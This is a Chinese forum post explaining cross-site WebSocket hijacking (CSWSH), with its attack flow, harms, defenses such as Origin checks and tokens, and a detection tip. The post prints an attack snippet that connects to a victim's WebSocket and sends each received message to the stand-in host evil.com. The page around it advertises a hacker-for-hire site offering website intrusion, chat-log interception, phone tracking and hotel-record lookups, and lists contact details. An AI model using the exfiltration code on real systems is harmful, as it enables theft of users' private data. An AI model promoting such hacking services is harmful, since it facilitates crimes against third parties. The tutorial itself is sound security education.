打印 上一主题 下一主题

WebSocket劫持(CSWSH)——实时通信的CSRF变种

[复制链接]
跳转到指定楼层
楼主
发表于 昨天 23:55 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
查看 : 1|回复 : 0
WebSocket劫持(CSWSH)——实时通信的CSRF变种
摘要:跨站WebSocket劫持(Cross-Site WebSocket Hijacking, CSWSH)类似于CSRF,攻击者在恶意网页中建立WebSocket连接到目标站点,利用用户的已认证Cookie模拟操作。由于WebSocket可以发送和接收消息,黑客可能读取服务器推送的敏感数据或向服务器发送恶意指令。本文讲解CSWSH原理及防御:验证Origin头、使用随机Token。
关键词:黑客网站攻击;WebSocket劫持;CSWSH;渗透测试;实时通信安全

一、引言
WebSocket提供全双工通信,常用于聊天、游戏、金融报价。与HTTP不同,WebSocket没有同源策略的自然限制,但握手阶段使用HTTP Upgrade,因此受到Origin头、Cookie等约束。如果服务器不校验Origin(或信任任意Origin),黑客可诱导用户浏览器连接至目标WebSocket端点,读取/发送消息。
二、CSWSH攻击流程
  • 用户登录目标网站example.com,获得会话Cookie。
  • 黑客创建恶意站点evil.com,其中JavaScript:
    [size=12.573px]javascript



    var ws = new WebSocket("wss://example.com/chat");ws.onmessage = function(m) { fetch('https://evil.com/log?data='+m.data); };ws.send("恶意消息");
  • 用户访问evil.com,浏览器建立WebSocket连接时自动携带example.com的Cookie。
  • 若服务器未验证Origin头,连接成功,黑客可窃听对话或冒充用户发送消息。

三、危害
  • 窃取聊天记录、实时数据流。
  • 发送欺诈消息或触发服务器端逻辑(如转账指令)。
  • 与HTTP上的CSRF类似,但具有双向特性。

四、防御措施
  • 验证Origin头:确保Origin值与服务器域名匹配。
  • 使用一次性Token(类似CSRF Token):在WebSocket握手URL中加上随机Token,验证通过后方可建立连接。
  • Cookie设置SameSite=Lax/Strict:限制跨站请求携带Cookie。
  • 使用wss://加密:虽不能防御劫持,但可防止中间人修改。

五、检测方法
手工测试:在浏览器控制台尝试连接目标WebSocket,如果成功且能接收消息,则存在漏洞。
六、总结
WebSocket劫持是容易被忽视的漏洞。防御核心同CSRF:验证Origin和Token。


黑客接单网,一个诚信可靠的黑客在线接单平台网站 - 论坛版权欢迎各位客户访问黑客接单网
黑客接单网,一个诚信可靠的黑客在线接单平台网站是一个专业的黑客在线接单服务平台
黑客接单网,一个诚信可靠的黑客在线接单平台网站聚集多位顶级黑客大牛于此
专业服务于网站攻击,网站入侵,软件开发,软件破解,聊天记录截取,手机定位,删帖,改贴,开房记录查询等各种网络服务
如果您有相关业务需求,请联系我们在线客服咨询,获取解决方案
黑客接单网,一个诚信可靠的黑客在线接单平台网站全体工作人员恭候您下达任务,我们誓必不负重托。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

HeiKeJieDan(黑客接单网)黑客接单网,是一个国际顶级黑客在线接单网站平台,平台聚集数十位IT界顶级黑客精英大神,软件-网站开发工程师,逆向破解工程师,以及后勤协助人员,网络在线全职兼职人员,强大的IT精英团队聚集,只为为您提供最优质可靠的网络安全技术服务。

联系我们

新加坡-缅甸-菲律宾-美国

0037259400637(服务时间:9:00-18:00)

hk@heike8.com

在线咨询新浪微博官方微信官方微信

黑客客服

网   址:WWW.HKJD.CC
邮箱号:hk@heike8.com
快手号:HeiKeJieDan
电报TG号:hkjd9988
国际客服:0037259400637

快速回复 返回顶部 返回列表